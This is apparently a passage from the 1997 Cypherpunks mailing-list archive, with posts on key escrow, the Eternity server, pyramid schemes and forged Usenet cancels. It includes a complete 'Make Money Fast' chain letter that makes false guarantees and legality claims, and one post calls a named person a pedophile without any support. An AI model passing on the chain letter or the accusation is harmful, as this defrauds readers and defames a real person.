was the justification for the junk fax laws; I've heard that
Spamford himself was the junk faxer who they were a response to,
though I haven't seen any verification of that, and of course
widespread caller-id could have taken care of the problem without
requiring a Federal law.

One obvious implementation of identification would of course be a
Key Management Infrastructure...  They might not do it, not only because
it would require everyone to change their email programs, but more
seriously because it would require everyone to use encryption-capable
mailers (or at least signature-capable), and even with 40-bit escrowed
mail, it makes eavesdropping much more work.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)

From stewarts at ix.netcom.com  Mon Aug  4 11:42:55 1997
From: stewarts at ix.netcom.com (stewarts at ix.netcom.com)
Date: Tue, 5 Aug 1997 02:42:55 +0800
Subject: Denning backs away from GAK
In-Reply-To: <3.0.2.32.19970801185452.007746e8@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970804093718.00772074@popd.ix.netcom.com>

At 08:22 PM 8/1/97 -0700, Tim May wrote:
>I disagree. A likely scenaria, I fear, is this:
>* Denning's new study gets publicity
>* Denning is "redeemed" and gains new influence
>* GAK is delayed for this year
>* Denning continues her study
>* Next year's report finds solid evidence that crypto is being used to
>hinder investigations, and has indeed had an effect.
...
>* Denning's new conclusions, and her redemption, 
>will generate support for GAK.

Tim, being more cynical than I am, is probably correct :-)
But still, we should take advantage of it when we can;
never miss a chance to use government statistics in ways that
annoy their originators....

Denning's previous big-publicity study was the interim report on
Clipper security (saying Skipjack was apparently quite strong),
which achieved its propaganda goals; the final report, which was supposed
to address the whole Clipper system, including the on-chip parts
and the key escrow process in the NSA/Mykotronix vault, was never
released, which I consider to be a substantial piece of intellectual
dishonesty.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)

From paul at fatmans.demon.co.uk  Mon Aug  4 12:09:45 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 5 Aug 1997 03:09:45 +0800
Subject: Eternity Content Suggestions
In-Reply-To: <19970803231431.4542.qmail@zipcon.net>
Message-ID: 

> Favorite Cypherpunks Cryptographic Links, including helpful offshore
> source code archives, and a pointer to the Cyphernomicon.

Yes, actually posting some crypto code to the eternity archive would be a 
good way to export it, I know it`s big but how about the whole platform 
independent source to PGP v5.0 as a plaintext document.

Oh, and how about some $cientology "copyrighted" documents.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

From nobody at REPLAY.COM  Mon Aug  4 14:27:57 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 5 Aug 1997 05:27:57 +0800
Subject: Ponzi Schemes (was Re: non-censorous spam control)
Message-ID: <199708042057.WAA23756@basement.replay.com>

Vulis wrote:

>A similar scheme in Russia by an organizaton called "MMM", run 
>by the Mavrodi bothers, left a large number of "investors"
>holding the bag. Interestingly, one of the Mavrodi brothers
>is now in Russian jail (awaiting trial), and the other one is
>still running a pyramid scheme: he accepts "voluntary donations"
>from an investor, in return for a "voluntary donation" at a later
>date whose amount and time are not guaranteed and depend on
>the "donations" collected from others. The Russian government
>does not shut down Mavrodi's latest operation so far, claiming
>it's not "fraud" since he doesn't misrepresent the source of
>his returns nor the risks involved. Reportedly so far he's
>getting oodles of investors and pretty good returns. Eventually
>of course his scheme will collapse, but the "investors" who
>got in and out early enough will have made good money.

Can you say "Wall Street?"  Because that's exactly how it operates right 
now.  The money being thrown at the stock market today is not "investing," 
it's simply a pyramid scheme.

>A similar scheme recently brought down the government of Albania.
>Reportedly the investors who got in late in the game and didn't
>get the returns they expected (or actually lost their investments)
>demanded that the gubmint reimburse them for their losses (by
>taxing the money from the more intelligent Albanians). When
>the idiots want the gubmint to protect them from their own
>idiocy, the gubmint happily uses this excuse to screw not only
>those who would fleece the idiots, but everyone.

This is what happened when the US Savings & Loans Banks in the Southwest 
failed in the 80's.  All of the people who lost money were bailed out by 
the FDIC, which of course is funded by taxpayer money.  The final figure 
was approximately $500 billion, depending on whose estimates you believe.  
So the idiots who didn't do their homework and put money into a bogus S&L 
were bailed out by everyone else who was smart enough to know better.  And, 
of course, the fraudsters (one of whom was the son of then Vice-President 
George Bush) got away with a slap on the wrist.

Go figure.

MoneyMonger

From apache at bear.apana.org.au  Mon Aug  4 14:38:28 1997
From: apache at bear.apana.org.au (Charles)
Date: Tue, 5 Aug 1997 05:38:28 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <3.0.2.32.19970804093014.007720b4@popd.ix.netcom.com>
Message-ID: <199708042105.HAA14375@bear.apana.org.au>

-----BEGIN PGP SIGNED MESSAGE-----

    stewarts at ix.netcom.com said:

>which is a mixed blessing.)  Also, there are several Supreme Court cases,
>such as McIntyre vs. Ohio, that strongly uphold the right to anonymous

I envy the constitutional protections you have. We have no such 
protections and courts have found no right of free speech exists in 
Australia (ie if the High Court was correct of course). I'm assuming 
McIntyres case was a constitutional challenge.

>One obvious implementation of identification would of course be a
>Key Management Infrastructure...  They might not do it, not only because
>it would require everyone to change their email programs, but more
>seriously because it would require everyone to use encryption-capable
>mailers (or at least signature-capable), and even with 40-bit escrowed
>mail, it makes eavesdropping much more work.

Also if that did come to pass the casual user would become much more 
interested in crypto and probably ask why his crypto-enabled mailer was 
dum-ed down. Hmmmm...interesting.

Somehow I think the gubmint would be very wary of such a possibility; but 
who knows.

Comment for the list copy of this mail:
(Just on the matter of mailers, for anyone running X take a look at
exmh if you haven't already. This gives a nice graphical interface
and pgp is integrated into it making reading/writing encrypted mail
as simple as clicking a button. Combine it with xemacs and you have a
very powerful email system. Pegasus for Win95, and I think Win3.1 is
a freeware mailer for which a freeware add-on for pgp integration is
available)

 -- 
   .////.   .//    Charles Senescall             apache at bear.apana.org.au
 o:::::::::///     PGP mail preferred            apache at quux.apana.org.au
>::::::::::\\\     Finger me @bear for PGP PUBKEY      Brisbane AUSTRALIA
   '\\\\\'   \\    Apache

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM+ZEHXawhvoxf0r9AQFWdggAvOUckh2TNEqcFL5/higpXGR5+vbjItmV
MhB/5XsFCur9Jkls9KtWwQhn0bTdVqfVrj0LENw8W+xmPvEqaFFFtoGASA94+qjb
4tO5zuZR140E7e6g09IRsiNNJDTVvyB8hXPIIfFlcvQvvJ+6EZKCrZqI5gkQLXMb
leaOmdb7kvtsDC6DO6MTz2LS6YgN/J3ktj4VcuvN93HDEO4PiCVKWHEOfVKTpGpi
enSzWAjQzZQ9+0KVcx/w4+CGByDvs9GGHMsfOx626yCiv5wcubw1eM6sOhkfuk9M
9Nk+Bo2KuEP9dovJxFitimm58IphtEPhvEIBOWq0loR+USwwhiC6Og==
=QlpY
-----END PGP SIGNATURE-----

From freegift at S&Bmail.com  Tue Aug  5 06:43:09 1997
From: freegift at S&Bmail.com (freegift at S&Bmail.com)
Date: Tue, 5 Aug 1997 06:43:09 -0700 (PDT)
Subject: FREE GIFT!
Message-ID: <199473170025.GAA08056@S&Bmail.com>

$$$ NEED MONEY RIGHT NOW? $$$

HONEST "PEOPLE HELPING PEOPLE" OPPORTUNITY
100 TIMES MORE EFFECTIVE THAN MLM

You WILL have $7,000 in 2 weeks Guaranteed!
Only A $10 is the total Cost!!!AND 1 HOUR of work!

PLEASE READ TO FIND OUT HOW!

THIS is the fastest, easiest program you will ever be able to do.  Complete it in One hourand you will never forget ther day you first received it.  If you are doing other programs, by all means stay with them.  The more the merrier!  But use this program FAST CASH!

Please Read On!

There are only THREE LEVELS.  This three-level program is more realistic and much, much faster.  Because it is so easy, the response rate is VERY HIGH and VERY FAST, and you will receive your rewards in about FOURTEEN DAYS.  Thats only TWO WEEKS- not three months.  Buy the toys you have been dreaming of!

Cindy Allen tells how she ran this gift summation four times last year.  The first time, she received $3,000 in cash in two weeks and then $7,000 in cash the next three times.  When this letter is continued as it should be, EVERYONE PROFITS!!  Don't be afraid to make gifts to strangers, they'll come back to you ten fold.  Many of us have pet programs that we want to support: food, medicine, children, or Maybe you just need a new car or want to pay off some bills.  THIS WILL DO IT FOR YOU!!

HERE ARE THE SIMPLE DETAILS

You email as many as possible, GETTING JUST 20 TO PARTICIPATE.  You should send them to PEOPLE WHO SEND YOU THEIR PROGRAMS, because they are already believers and your program is FASTER AND BETTER!  This takes a very small investment so TRY IT!

JUST GIVE TWO PEOPLE A $5 BILL. Thats it, Thats all!  Follow these simple instructions and in two weeks you will have at least $7,000 because many people WILL respond due to the LOW INVESTMENT, SPEED of RETURN and HIGH PROFIT POTENTIAL! So let's help keep it going, and help each other!!!

1.On a blank sheet of paper, write your email address, name, and address clearly, write "put me on your mailing list" and fold it around a FIVE DOLLAR BILL.  Send it to the FIRST AND LAST NAMES on the list.  ONLY THE FIRST AND LAST PERSON ON THE LIST GETS YOUR NAME AND A FIVE DOLLAR GIFT.  Only after sending to the First and LAST NAMES can you go to STEP 2.

2.DELETE NAME #3 ON THE LIST , MOVE ORIGINAL NAME #1 DOWN TO #2 AND #2 TO #3, THEN ADD YOUR NAME AND ADDRESS TO SPOT #1

3.Copy & Save the letter, then email AS MANY copies of this letter as possible.  An excellent source of names is the people who send you other programs, and the names listed on the letters that they send you.  Do it right away.  It's so easy! Don't mull it over.  ONE HOUR! THATS IT!

There is no mailing list to wait for or buy.  You can do it again and again with your regular group of gifters. WHY NOT?  It pays to help others!  Your name and address is used twice in the 3 name list mailing. 20x20x20=8000x$5x18%reply rate= $7000

C'mon! The prospect of an easy $7,000 to $10,000 in TWO WEEKS is worth a little experimentation and only One hour of your time and TWO $5 bills(cash)

Legality Issue?
According to title 18, Section 1302 &1342 of the US Postal and Lotery laws, any mailings that provides a service is 100% legal.

Summary:
Thsi legal mailing makes you money on this list, and also places you on other peoples mailing list as a legal service to you.  When you send your $5 cash and name and address, your name and address will be placed and then sent out many, many times on other peoples money making mailing campaigns.
Thus, providing you with an endless rapid flow of income in return!  All that for TWO $5 bills and 1 HOUR of your time.

ACT FAST AND GET MONEY FAST!
HONESTY AND INTEGRITY MAKE THIS PLAN WORK.  COPY THE NAMES CAREFULLY AND SEND FIVE DOLLARS CASH TO THE FIRST AND LAST NAME ON THE LIST
PEOPLE HELPING OTHER PEOPLE!

IF YOU EVER BET ON ANYTHING IN YOUR LIFE, BET ON THIS, YOU'RE A WINNER!!!!!!!!!

1.SAB Strategies
   5635 S. Lewiston Ct.
   Aurora, CO
   80015

2.L'S LIBRARY
   P.O. BOX 24002
   F.T. LAUDERDALE, FL.
   33307

3.P Romaine
   622 Warfield Rd.
   No PLainfield, NJ
   07063

From rah at shipwright.com  Tue Aug  5 07:30:26 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 5 Aug 1997 07:30:26 -0700 (PDT)
Subject: Financial Cryptography '98 Call for Papers
Message-ID: 

--- begin forwarded text

Resent-Date: Mon, 4 Aug 1997 18:40:01 -0400
X-Authentication-Warning: online.offshore.com.ai: list set sender to
fc97-request at offshore.com.ai using -f
Date: Tue, 5 Aug 1997 00:06:32 +0200 (MET DST)
From: Ray Hirschfeld 
To: ray at cwi.nl
Subject: Financial Cryptography '98 Call for Papers
Resent-From: fc97 at offshore.com.ai
X-Mailing-List:  archive/latest/65
X-Loop: fc97 at offshore.com.ai
Precedence: list
Resent-Sender: fc97-request at offshore.com.ai

		      Financial Cryptography '98
		   Second International Conference
		 February 23-26, 1998, Anguilla, BWI
			   CALL FOR PAPERS

General Information:

Financial Cryptography '98 (FC98) is a conference on the security of
digital financial transactions.  Meetings alternate between the island
of Anguilla in the British West Indies and other locations.  This
second meeting will be held in Anguilla on February 23-26, 1998.  FC98
aims to bring together persons involved in both the financial and data
security fields to foster cooperation and exchange of ideas.

Original papers are solicited on all aspects of financial data
security and digital commerce in general, including

    Anonymous Payments                      Fungibility
    Authentication                          Home Banking
    Communication Security                  Identification
    Conditional Access                      Implementations
    Copyright Protection                    Loss Tolerance
    Credit/Debit Cards                      Loyalty Mechanisms
    Currency Exchange                       Legal Aspects
    Digital Cash                            Micropayments
    Digital Receipts                        Network Payments
    Digital Signatures                      Privacy Issues
    Economic Implications                   Regulatory Issues
    Electronic Funds Transfer               Smart Cards
    Electronic Purses                       Standards
    Electronic Voting                       Tamper Resistance
    Electronic Wallets                      Transferability

Instructions for Authors:

Send a cover letter and 12 copies of an extended abstract to be
received by November 17, 1997 (or postmarked by November 7, 1997 and
sent via airmail) to the Program Chair at the address given below.

The extended abstract should start with the title, the names of the
authors, and an abstract followed by a succinct statement appropriate
for a non-specialist reader specifying the subject addressed, its
background, the main achievements, and their significance to financial
data security.  Submissions are limited to 15 single-spaced pages of
12pt type.  Notification of acceptance or rejection will be sent to
authors no later than January 12, 1998.

Authors of accepted papers must guarantee that their paper will
be presented at the conference.

Proceedings:

Proceedings of the conference will be published by Springer Verlag in
their Lecture Notes in Computer Science (LNCS) series.  Preproceedings
will be available at the conference, but final versions will not be
due until afterwards, giving authors the opportunity to revise their
papers based on presentations and discussions at the meeting.
Instructions and deadlines for submission of final papers will be sent
later to authors of accepted papers.

Rump Session:

In addition to the regular conference program, a rump session will be
held to provide an opportunity for less formal presentations.
Although the rump session will be organized during the conference
itself, any advance proposals may be sent to the Program Co-Chair at
the email address given below.  Rump session contributions will not
appear in the conference proceedings.

Stipends:

A very limited number of stipends may be available to those unable to
obtain funding to attend the conference.  Students whose papers are
accepted and who will present the paper themselves are encouraged to
apply if such assistance is needed.  Requests for stipends should be
addressed to one of the General Chairs.

Registration:

Information about conference registration and on travel, hotels, and
Anguilla itself will follow in a separate general announcement.  There
will be special discount registration rates for authors of accepted
submissions, full-time academics, and students.

Workshop:

A workshop, intended for anyone with commercial software development
experience who wants hands-on familiarity with the issues and
technology of financial cryptography, is planned in conjunction with
FC98, to be held during the week preceding the conference.  For
information, please contact one of the General Chairs.

Send Submissions to:

Rafael Hirschfeld
FC98 Program Chair
CWI
Kruislaan 413
1098 SJ Amsterdam
The Netherlands
email: ray at cwi.nl
phone: +31 20 592 4169
fax: +31 20 592 4199

Send Rump Session Contributions to:

Matthew Franklin
FC98 Program Co-Chair
email: franklin at research.att.com

Program Committee:

Matt Blaze, AT&T Laboratories--Research, Florham Park, NJ, USA
Antoon Bosselaers, Katholieke Universiteit Leuven, Leuven, Belgium
Yves Carlier, Bank for International Settlements, Basel, Switzerland
Walter Effross, Washington College of Law, American U., Washington DC, USA
Matthew Franklin, AT&T Laboratories--Research, Florham Park, NJ, USA
Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA
Rafael Hirschfeld, CWI, Amsterdam, The Netherlands
Alain Mayer, Bell Laboratories/Lucent Technologies, Murray Hill, NJ, USA
Moni Naor, Weizmann Institute of Science, Rehovot, Israel
Frank Trotter, Mark Twain Ecash/Mercantile Bank, St. Louis, MO, USA
Doug Tygar, Carnegie Mellon University, Pittsburgh, PA, USA
Moti Yung, CertCo LLC (formerly: Bankers Trust E-Commerce), New York, NY, USA

General Chairs:

Robert Hettinga, Shipwright, Boston, MA, USA
   email: rah at shipwright.com
Vincent Cate, Offshore Information Services, Anguilla, BWI
   email: vince at offshore.com.ai

Exhibits and Sponsorship Manager:

Julie Rackliffe, Boston, MA, USA
   email: rackliffe at tcm.org

Workshop Leader:

Ian Goldberg, Berkeley, CA, USA
   email: iang at cs.berkeley.edu

Those interested in becoming a sponsor of FC98 or in purchasing
exhibit space, please contact the Exhibits and Sponsorship Manager.

A copy of this call for papers as well as other information about the
conference will be available at URL http://www.cwi.nl/conferences/FC98.

--- end forwarded text

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/

From dlv at bwalk.dm.com  Mon Aug  4 16:30:32 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 07:30:32 +0800
Subject: Eternity Content Suggestions
In-Reply-To: 
Message-ID: 

Paul Bradley  writes:
> > Favorite Cypherpunks Cryptographic Links, including helpful offshore
> > source code archives, and a pointer to the Cyphernomicon.
> 
> Yes, actually posting some crypto code to the eternity archive would be a 
> good way to export it, I know it`s big but how about the whole platform 
> independent source to PGP v5.0 as a plaintext document.
> 
> Oh, and how about some $cientology "copyrighted" documents.

I said back when theprototype Eternity server was announced that this was
a very important development; I'm glad that it's moving forward.

I'd like to nominate another candidate for the eternity server.

As some folks on this list may be aware, the Spanish government has been
trying to censor the basque nationalist web site with a limited degree of
success.

A week or so ago the basques exploded a bomb killing one person. The
Spanish gubmint publicly demanded that CNN remove the link from its
Web site to the Basque site, calling them terrorists. The CNN declined
and this victory for free speech was touted al over the Internet.

What didn't seem to get much coverage is the fact that the basque site
was hosted by the Institute for Global Communications.  I remember ICG
from the days I was helping bring the Internet to Eastern Europe. They're
well-meaning folks, but very cowardly and not too technically sophisticted.
The Spanish government organized a mailbombing campaign against them, 
similar to the campaigns against the "spammers". (It sounded to me like
both mailbombs and ping storms were involved, all coming from numerous
sites in .es.) Last week ICG bent over and announced that they're
pulling the plug on the Basque site.

This act of government-sponsored net.terrorism and content censorship must
not go unpunished, but the first step is to ensure that the Basque site
is up and running. I sugggest putting it on the Eternity server, and
mirroring it on any other servers that are willing to put up with the
blackmail and denial-of-service attacks from the net.terrorists organized
by the Spanish government.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From dlv at bwalk.dm.com  Mon Aug  4 16:34:48 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 07:34:48 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <199708011508.KAA04749@raid2.fddi.phoenix.net>
Message-ID: 

wireinfo  writes:

> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >On Thu, 31 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
> >
> >> ? the Platypus {aka David Formosa}  writes:
> >> 
> >> > Nno one is arugeing that.  Both sides in this debait aggry that that is 
> >> > REAL BAD thing.  Spam cancelers use an objective rules.
> >
> >[...]
> 
> You're not very bright are you David?

In my humble opinion David is pretty bright.  Unfortunately he's misguided
about certain things.  I think the extreme aversion to censorship (like that
displayed by imp and myself) seldom arises in people who haven't themselves
been victims of censorship (plug-pulling or forged cancels, not 'censored thro
being drowned up by the dissenting opinions" "-)

> 
> 
> >> Let me clarify two things:
> >> 
> >> 1. "Spam cancellers" are not generally news admins.
> >
> >I think you will have to justerfy this,  the top spam cancellers are all
> >news adimns.
> 
> Aer nto.

The current top "spam canceller", Rich Bland ("cosmo") is an admin of a tiny
little BBS in California - probably fewer users than mine. The previous top
"spam canceller" - Rick Buchanan - was just a user, whose actions were condonded
by the admins of the several systems he used to forge cancels. (He only had
his plug pulled by one ISp I know of.)

Most of the people who scream about their "hatred of spam" on news.* are not
admins, but fairly recent users who figure that "fighting spam" is a cool thing.

Thing is hardly relevant - anyone can easily set up their own site and become
its admins.  I was just pointing out that it's factually incorrect to use
"admins" as a synonym for "anti-spammers".  Many admins are pro-free speech.
> 
> >> 2. Once a cancel-forger builds a "reputation" as a "spam canceller",
> >> s/he often diversifies into "retromodetration"
> >
> >There is little proof that this is the case.  Even the netscum case could
> >have been considered spam.
> 
> What the fuck is "the netscum case"?

I think David is referring to the recent case of content-based cancels forged
by Chris Lewis for severa articles whose only thing in common was the mention
of Chris lewis's Net.Scum page.  

This is just one of dozens of such examples.  Chris Lewis and Dave Barr obth
forge cancels for usenet articles that follow up on their articles and quote
them, claiming "copyright violations".  Interestingly, Dave Barr is one of the
moderators of news.admin.net-abuse.announce.  When that newsgroup was up for
a vote, its charter said (don't know why) that its moderators aren't supposed
to issue third party cancels.  So much for moderated newsgrou charters. :-)

> 
> >
> >[...]
> >
> >> > Not even forgeries in my name?  Not even out of the control spews from
> >> > fidonet?
> >> 
> >> Correct.
> >
> >Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
> >posts into usenet you don't wish them to be removed from usenet?
> 
> The motherfucker can remove them himself, send him a note. But after 
> they've already hit our servers and we've already read them it doesn't 
> make much of a difference now does it? We've got to receive repeated 
> blasts of forged cancels ten times the number of the offending posts?

Once the offending articles are part of the spool on toher site, it's pointless
for me to issue cancels. Note that both have happened: both I and my wife have
been forged numerous times on usenet, and there have been spews from this site.
I don't think that trying to remove them from spool is a proper thing to do
whether or not my site ogirinated them.  I do think it's polite to try to
let people know that these articles are forged/obsolete/posted in error and
should be ignored.  That was the original purpose of the cancel control
articles in RFC 1036 - I post a "car for sale" ad, I sell the car, I don't
want to get any more replies, I cancel it. Problem is, the cancels in RFC
1036 were unauthenticated - relied on honor, and too many people on Usenet
have no honor are aere eager to forge other people's e-mail addresses on
their cancels.

As I discussed with David in private mail, a "retraction server" that would
announce forgeries, spews, etc would be a useful thing.
> 
> You're really not very bright are you David?

Just misguided.  
> 
> >Nor if I post a message with your name and email, saying "Chris Lewis the
> >best thing that happened to usenet and I wish to have his baby."
> 
> A simple "I didn't write that" shall suffice.

I recall how a couple of years ago Peter Vorobiev forged a bunch of articles
in my name all over Usenet, and I posted an announcement to that effect
on news.admin.net-abuse.misc, and got some very obnoxious e-mail from Tim
Skirvin saying it's off-topic.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From dlv at bwalk.dm.com  Mon Aug  4 16:35:47 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 07:35:47 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <3.0.2.32.19970731102244.006f3430@popd.ix.netcom.com>
Message-ID: <5wHXae8w165w@bwalk.dm.com>

Bill Stewart  writes:

> At 10:36 PM 7/30/97 -0400, Ryan Anderson wrote:
> >"Make Money Fast" are killed because they're illegal scams in the US and I 
> >think in most of the world.

This doesn't give the various net.scum any right to forge cancels for them.
(I used to forge cancels for MMFs years ago - I was very wrong.)

But this is not the only kind of content censorship going on under the guise
of 'spam cancels".  Check out the Net.Scum Web site.  One guy decided to cancel
an entire thread discussing the requirements for setting up a MUD server
claiming it was "spam".  Another forged a cancel for a national Science
Foundation announcement in sci.fractals figuring it was off-topic, therefore
"spam".  It takes a special kind of asshole to take up "spam-cancelling"
and most of them don't stop at cancelling just the "multi-posted" articles -
they quickly diversify into foring purely content-based cancels.

> 
> They're illegal in the US primarily because the Post Office is confused
> about whether its job is to deliver the mail or to censor it,
> and delivery of MMFs by mail is policed by Postal Inspectors just as
> delivery of obscenity by mail is.  It's a side effect of having services
> provided by a government monopoly rather than the free market,
> though I'm sure that to some extent it's because people started 
> complaining to the Post Office that they were receiving junk mail,
> and complaining to their legislators that they lost money on these scams.
> 
> On the Internet, on the other hand, not only is the stuff spam and a scam,
> but it's abusing flat-rate prices for service, and service providers
> don't like it.  Julf's remailer used to block MMFs.

MMFs are one example of a "memetic" article which encourages the readers to
reproduce it and post it elsewhere.  Does anyone remember the Craig Shergold
meme?  When I worked at GS, I came across a paper copy of it - a bunch of
p.r. and salespople were faxing it to one another and asking for business
cards to be sent to it.  The idiot sysadmins at a school I taight at put
the craig Shergold appeal in the message-od-the-day on the school computer.
> 
> Pyramid scams like the MMF, and the government's inability to deal with it,
> brought down the Albanian government recently.  Here in the US that would
> _never_ happen (:-), assuming of course you don't consider Social Security
> to be a Ponzi scheme....

This reminds me of the old farts who lost lots of money in the mini-crash in
Oct 87.  Basically, they sold insurance to other investors against the maret
suddenly going down a lot (which is a low-probability event, but can happpen and
I think will happen again any day now :-)  They were collecting their equivalent
of insurance premiums. When the market did hucckup and they had to pay what
they promised they would, they started screaming that they weren't warned
adequately that their income wasn't "risk-free" and they might actually have
to perform their part of the contract they entered!

Why should the gubmint protect people from pyramid schemes and other such scams?
("make money at home stuffing envelopes" seems to be a related scam that's
very popular and not "illegal".)  Any time a sucker tries to beat the market,a
xtto get more than the normal return without incurring extra risk, he
deserves to be fucked.  Gubmint's attempts to "protect" the sucker limit
the freedom not of the crooks who'd fleece him (they'll find a way), but
the regular people who are neither crooks not suckers.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From dlv at bwalk.dm.com  Mon Aug  4 16:35:56 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 07:35:56 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311751.MAA21324@mailhub.amaranth.com>
Message-ID: 

"William H. Geiger III"  writes:
> Well the ISP may have 200 customer for the T1 line but they woun't have
> 200 dial up lines per T1 (at least not one that wishes to stay in business
> long). Now how many dial-up lines per T1 a ISP will have will depend on
> the traffic analysis for his customer base. There is nothing wrong with
> oversubscribing his bandwith because he knows that all his cutomers will
> not be on-line all the time using 100% of their 28.8 dial-up bandwith.
> What an ISP does have to provide for is enough bandwith to be able to
> handle the amount of dial-ups he has available. If an ISP has 200 dial-up
> lines then he best provide enough T1's to be able to support them.
> 
> The same is true for Access providers. If an access provider is servicing
> 20 T1's then he best have the bandwith to the backbone to provide the
> bandwith that he has sold. He is collecting the $$$ to provide the service
> he is obligated to provide it.

Unfortunately a lot of ISPs - both local and national - have done exactly
that - oversubscribed to the point of defrauding their customers.

A friend of mine subscribed to his local ISP - the usual deal, $19.95/month
for unlimited use.  One day he gets a phone call from the ISP's owner asking
(in a rather irate manner) if he's running 'bots or "keepalive" or why he's
spending so much time tying up the modem.  The friend replied that he's doing 
neither of those things, but he does spend 5 or 6 hours every day browsing
the Web and reading newsgroups.  The ISP owner wasn't happy. Soon the friend
began to experience loss of carrier whenever he was connected via PPP during
the evening. He called up the ISP and asked if he's just dropping his carrier.
The ISP would neither confirm nor deny, but repeated that the friend stays
online "too much". At this point the friend told him to close the account
and moved to a different ISP.

We used to have a shell account at a local ISP who had non-stop problems with
their disks, their news server, their modem pool (ringno-answer, can't busy
out the brokenmodems....) We left them last year; I understand that now their
system has completely broken down and they're blaming it on some mythical
"spammers" rather than their incompetence.

> 
> Now if an access provider does detailed analysis of his traffic and
> determins that he needs only 4 T3's to provide service for 20 T1's and
> therefore reduces his costs that's fine. But if one of his T1 customers
> traffic increases he is obligated to add more bandwith on his end to
> handle it.
> 
> This is what the whole bandwith issue comes down to. ISP & Access
> providers atempting to maximise profits for given resources. This doesn't
> nullify their obligations to their customers. If they sell T1 bandwith
> 24/7 to their customers then they are required to provide that service if
> their customers demand it. The current movement to blaim users for using
> the resources that they have been sold is wrong. It is no different that
> if a car dealer sells you a 100,000 mile warrenty on a car then renigs on
> the contract because he really didn't expect you to drive 100,000 miles
> with it.

Ah but they have a great excuse - the mythical "spammers".  We really meant 
to service a 300-modem pool through this T1, but the spammers stopped us from
doing that.  Reminds me how the Soviets in 1930s blamed all possible problems
(and there were lots of real problems) on "saboteurs", and how the Nazis in
the same time frame blamed all of their (real) problems on Jews.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From dlv at bwalk.dm.com  Mon Aug  4 16:38:26 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 07:38:26 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: 
Message-ID: <59kXae1w165w@bwalk.dm.com>

? the Platypus {aka David Formosa}  writes:

> > You're not very bright are you David?
> 
> Haveing trubble working out what this line is,  as a flame it is limp
> wristed, as a rebuttle it is pathtic.

Our frustration with the Cabal supporters is understandable.

> > >There is little proof that this is the case.  Even the netscum case could
> > >have been considered spam.
> > 
> > What the fuck is "the netscum case"?
> 
> Boursy or Grubour (I've forgotten wich one) keeped posting an add for
> Chris Lewis' netscum post.  Chris Lewis desidered that thay where
> substatuly identical and canceled them.

Pedophile Chris Lewis is a content censor.  There are dozens of other examples.
For example, see the Net.Scum pages for Nat Makarevitch or Michael Martinez,
both of whom arbitrarily declare some article "spam" and forge cancels dfor it.

> > >Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
> > >posts into usenet you don't wish them to be removed from usenet?
> > 
> > The motherfucker can remove them himself, send him a note.
> 
> Since Dr Vulis is the newsadmin of that site, the question is quite valid.

I would not issue cancels in either case.  I would like to be able to tell
the rest of Usenet that these articles are not worth reading, and that I
have sifficient authority to say so (by having my e-mail address in the
from: field or being the local admin).  I wouldn't want to delete them from
anyone's spool, though.

> 
> > But after 
> > they've already hit our servers and we've already read them it doesn't 
> > make much of a difference now does it?
> 
> Frees up diskspace + reducers propragtion.  May be a good thing.

A spew spreads to almost all the servers there are in minutes. Cancels for
a spew waste more bandwidth and cpu time than ignoring it.

> 
> > We've got to receive repeated 
> > blasts of forged cancels ten times the number of the offending posts?
> 
> Ergh?  There is only one cancel per post.

Were you around when Ausralia was knocked off the net by the cancels for the
Cantor and Siegel "spam"?  Most of the forgers didn't follow the "$alz"
convention (giving the forged cancel the message-id "cancel.".

> 
> > >Nor if I post a message with your name and email, saying "Chris Lewis the
> > >best thing that happened to usenet and I wish to have his baby."
> > 
